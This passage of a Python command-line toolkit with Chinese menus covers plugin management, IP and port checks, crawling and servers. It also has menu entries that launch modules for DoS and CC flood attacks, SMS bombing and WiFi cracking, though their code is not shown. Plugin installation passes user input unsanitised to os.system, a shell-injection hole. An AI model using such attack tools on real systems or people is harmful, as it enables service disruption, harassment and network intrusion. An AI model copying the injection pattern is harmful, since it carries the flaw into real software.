712 | print(f"{'=' * 65}\n更新日志内容:")
713 | print(log_content,f"\n{'=' * 65}")
714 | else:
715 | print("更新日志文件不存在")
716 | elif program_input == "log all":#查看所有的更新日志
717 | if os.path.exists("更新日志2.ans"):
718 | with open("更新日志2.ans", 'r', encoding='utf-8') as file:
719 | log_content = file.read()
720 | print(f"{'=' * 65}\n更新日志内容:")
721 | print(log_content, f"\n{'=' * 65}")
722 | else:
723 | print("更新日志文件不存在")
724 | elif program_input == "check l":#查看指定的库是否安装
725 | check_l = input("请输入要检查的库名:")
726 | import importlib.util
727 | def is_library_installed(library_name):
728 | spec = importlib.util.find_spec(library_name)
729 | return spec is not None
730 | library_name = check_l
731 | if is_library_installed(library_name):
732 | print(f"{library_name} 已安装")
733 | else:
734 | print(f"{library_name} 未安装")
735 |
736 | elif program_input == "plu":#工具包指令 查看插件
737 | print(plugins)
738 | program_plugins = input(":")
739 | if program_plugins == "1": # 工具包指令 查看插件
740 | plugins_file = input("请输入要查看的插件名:").strip() # 去除输入的首尾空格
741 | try:
742 | with open("plugins/plugins_list.txt", 'r', encoding='utf-8') as file:
743 | plugins_list = file.read().splitlines() # 获取所有插件列表
744 |
745 | if plugins_file in plugins_list: # 检查插件是否存在列表中
746 | print(f"插件 '{plugins_file}' 状态: 已安装")
747 | else:
748 | print(f"插件 '{plugins_file}' 状态: 未安装")
749 | except FileNotFoundError:
750 | print("错误:插件列表文件 plugins_list.txt 不存在")
751 | except Exception as e:
752 | print(f"检查插件时出错: {str(e)}")
753 | elif program_plugins == "2":#工具包指令 查看所有插件
754 | try:
755 | with open("plugins/plugins_list.txt", 'r', encoding='utf-8') as file:
756 | plugins_list = file.read()
757 | print(f"插件表\n{'=' * 30}\n{plugins_list}\n{'=' * 30}")
758 | except FileNotFoundError:
759 | print(f"{plugins_file} 插件表不存在!!!可以再 plugins 模块修复")
760 | elif program_plugins == "3":#工具包指令 配置插件环境
761 | plugins_list_cfile = input("请输入要配置的插件名:")
762 | with open("plugins/plugins_list.txt", 'a', encoding='utf-8') as file:
763 | file.write(plugins_list_cfile + "\n")
764 | print(f"插件 {plugins_list_cfile} 已配置")
765 | elif program_plugins == "4": # 工具包指令 删除插件环境
766 | plugins_list_dfile = input("请输入要删除的插件名:")
767 | try:
768 | with open("plugins/plugins_list.txt", 'r', encoding='utf-8') as file:
769 | plugins_list = file.readlines()
770 | found = False
771 | new_list = []
772 | for line in plugins_list:
773 | if line.rstrip('\n') == plugins_list_dfile:
774 | found = True
775 | else:
776 | new_list.append(line)
777 | if found:
778 | with open("plugins/plugins_list.txt", 'w', encoding='utf-8') as file:
779 | file.writelines(new_list)
780 | print(f"插件 {plugins_list_dfile} 已删除")
781 | else:
782 | print(f"插件 {plugins_list_dfile} 不存在于列表中")
783 | except FileNotFoundError:
784 | print("错误: plugins_list.txt 文件未找到")
785 | except Exception as e:
786 | print(f"删除插件时出错: {str(e)}")
787 | elif program_plugins == "5": # 工具包指令 安装插件
788 | plugins_install = input("请输入要安装的插件网址:").strip()
789 | url_path = "plugins"
790 | try:
791 | os.makedirs(url_path, exist_ok=True)
792 | command = f"git clone {plugins_install} {url_path}/{plugins_install.split('/')[-1].replace('.git', '')}"
793 | return_code = os.system(command)
794 | if return_code == 0:
795 | print(f"插件已成功安装在 {url_path} 目录下")
796 | print("请手动配置该插件的插件表")
797 | else:
798 | print(f"插件安装失败,git返回码: {return_code}")
799 | except Exception as e:
800 | print(f"安装插件时出错: {str(e)}")
801 | elif program_plugins == "6": # 工具包指令 卸载插件
802 | plugins_uninstall = input("请输入要卸载的插件名:").strip()
803 | choose = input("是否删除插件?(y/n)").strip().lower()
804 | if choose == "y":
805 | plugins_dir = f"plugins/{plugins_uninstall}"
806 | guide_file = f"plugins/{plugins_uninstall}_guide.py"
807 | try:
808 | if os.path.exists(plugins_dir):
809 | import shutil
810 | shutil.rmtree(plugins_dir)
811 | print(f"已删除插件目录: {plugins_dir}")
812 | else:
813 | print(f"警告: 插件目录 {plugins_dir} 不存在")
814 | if os.path.exists(guide_file):
815 | os.remove(guide_file)
816 | print(f"已删除指南文件: {guide_file}")
817 | else:
818 | print(f"警告: 指南文件 {guide_file} 不存在")
819 | try:
820 | list_file = "plugins/plugins_list.txt"
821 | if os.path.exists(list_file):
822 | with open(list_file, 'r', encoding='utf-8') as file:
823 | plugins_list = file.readlines()
824 | new_list = [line for line in plugins_list if line.strip() != plugins_uninstall]
825 | if len(new_list) != len(plugins_list):
826 | with open(list_file, 'w', encoding='utf-8') as file:
827 | file.writelines(new_list)
828 | print(f"已从插件列表中移除: {plugins_uninstall}")
829 | else:
830 | print(f"提示: {plugins_uninstall} 不在插件列表中")
831 | else:
832 | print("警告: plugins_list.txt 文件不存在,跳过列表更新")
833 | except Exception as e:
834 | print(f"更新插件列表时出错: {str(e)}")
835 | print(f"插件 {plugins_uninstall} 卸载完成")
836 | except Exception as e:
837 | print(f"删除插件时发生严重错误: {str(e)}")
838 | else:
839 | print("已取消删除插件")
840 | elif program_plugins == "7":#工具包指令 重置插件表
841 | if os.path.exists("plugins/plugins_list.txt"):
842 | choose = input("插件表存在\n是否重置?(Y/N):")
843 | if choose in ["y", "Y"]:
844 | with open("plugins/plugins_list.txt", 'w', encoding='utf-8') as file:
845 | file.write("")
846 | print("插件表已重置")
847 | else:
848 | print("已取消重置插件表")
849 | else:
850 | print("插件表不存在 即将创建...")
851 | with open("plugins/plugins_list.txt", 'w', encoding='utf-8') as file:
852 | file.write("")
853 | print("插件表已创建成功")
854 | elif program_plugins == "8":#工具包指令 查看官网插件
855 | print(ANSportion_plugins)
856 |
857 | elif program_input == "check":#工具包指令 使用工具包
858 | print(check_help)
859 | program_check = input(":")
860 | if program_check == "1":#工具包指令 查看自己的各个IP
861 | from Code.check_1 import check_1_main
862 | check_1_main()
863 | elif program_check == "2":#工具包指令 查看IP是否为有效IP
864 | from Code.check_2 import check_2_main
865 | check_2_main()
866 | elif program_check == "3":#工具包指令 查看网站真实IP
867 | from Code.check_3 import check_3_main
868 | check_3_main()
869 | elif program_check == "4":#工具包指令 查看我的的Mac地址
870 | from Code.check_4 import check_4_main
871 | check_4_main()
872 | elif program_check == "5":#工具包指令 查看网络接口信息
873 | from Code.check_5 import check_5_main
874 | check_5_main()
875 |
876 | elif program_input == "attack":
877 | print(attack_help)
878 | program_attack = input(":")
879 | if program_attack == "1":#工具包指令 DOS攻击包
880 | from Code.attack_1 import attack_dos_main
881 | attack_dos_main()
882 | elif program_attack == "2":#工具包指令 短信轰炸
883 | from Code.attack_2 import attack_2_main
884 | attack_2_main()
885 | elif program_attack == "3":#工具包指令 cc攻击包
886 | from Code.attack_CC import attack_cc_main
887 | attack_cc_main()
888 |
889 | elif program_input == "wifi":
890 | print(wifi_help)
891 | program_wifi = input(":")
892 | if program_wifi == "1":#工具包指令 连接Wi-Fi
893 | from Code.wifi_1 import wifi_1_main
894 | wifi_1_main()
895 | elif program_wifi == "2":#工具包指令 WiFi破解
896 | from Code.wifi_2 import wifi_2_main
897 | wifi_2_main()
898 | elif program_wifi == "3":#工具包指令 扫描周围WiFi
899 | from Code.wifi_3 import wifi_3_main
900 | wifi_3_main()
901 | elif program_wifi == "4":#工具包指令 无限连接Wi-Fi
902 | from Code.wifi_4 import wifi_4_main
903 | wifi_4_main()
904 |
905 | elif program_input == "listen":
906 | print(listen_help)
907 | program_listen = input(":")
908 | if program_listen == "1":#工具包指令 监听IP主机的端口状态
909 | from Code.listen_1 import listen_1_main
910 | listen_1_main()
911 |
912 | elif program_input == "port":
913 | print(port_help)
914 | program_port = input(":")
915 | if program_port == "1":#工具包指令 查看IP开放端口
916 | from Code.port_1 import port_1_main
917 | port_1_main()
918 | elif program_port == "2":#工具包指令 查看端口是否开放工具包指令
919 | from Code.port_2 import port_2_main
920 | port_2_main()
921 |
922 | elif program_input == "crawler":
923 | print(crawler_help)
924 | program_crawler = input(":")
925 | if program_crawler == "1":#工具包指令 爬取网站的源代码
926 | from Code.crawler_1 import crawler_1_main
927 | crawler_1_main()
928 | elif program_crawler == "2":#工具包指令 爬取网站状态
929 | from Code.crawler_2 import crawler_2_main
930 | crawler_2_main()
931 |
932 | elif program_input == "server":
933 | print(server_help)
934 | program_server = input(":")
935 | if program_server == "1":#工具包指令 创建一个服务器(网站)
936 | from Code.server_1 import server_1_main
937 | server_1_main()
938 | elif program_server == "2":#工具包指令 创建一个下载文件服务器(网站)
939 | from Code.server_2 import server_2_main
940 | server_2_main()
941 |
942 | else:
943 | try:
944 | from Code.plugins import run_plugins
945 | target_line = program_input
946 | run_plugins(target_line)
947 | except FileNotFoundError:
948 | continue
949 |
950 | except Exception as e:
951 | print(f"发生错误:\n{e}")
952 |
953 | if __name__ == "__main__":
954 | os.system("cls" if os.name == 'nt' else 'clear')
955 | print(" 正在运行...")
956 | os.system("cls" if os.name == 'nt' else 'clear')
957 | print("正在检查当前系统")
958 | os.system("cls" if os.name == 'nt' else 'clear')
959 | print(f"当前系统为: {system}")
960 | if system in ["Windows", "Linux", "Darwin"]:
961 | pass
962 | else:
963 | print("该系统不支持运行此程序")
964 | print("是否继续运行?(y/n)")
965 | choose = input(":")
966 | if choose in ["y", "Y"]:
967 | pass
968 | else:
969 | sys.exit()
970 | os.system("cls" if os.name == 'nt' else 'clear')
971 |
972 | ANSportion_title_random = random.randint(1, 2)
973 | if ANSportion_title_random == 1:
974 | print(Fore.YELLOW + ANSportion1_1 + Fore.RESET)
975 | elif ANSportion_title_random == 2:
976 | print(Fore.YELLOW + ANSportion1_2 + Fore.RESET)
977 |
978 | print(Fore.YELLOW + ANSportion2 + Fore.RESET)
979 | print(Fore.YELLOW + f"{'-' * 100}" + Fore.RESET)
980 | if os.path.exists("更新日志1.ans"):
981 | with open("更新日志1.ans", 'r', encoding='utf-8') as file:
982 | log_content = file.read()
983 | print(Fore.CYAN + f"更新日志1:\n{'=' * 65}\n更新日志内容:" + Fore.RESET)
984 | print(Fore.CYAN + log_content,f"\n{'=' * 65}" + Fore.RESET)
985 | else:
986 | print("日志文件不存在")
987 | print(ANSportion3)
988 | program_code_body()
989 |
--------------------------------------------------------------------------------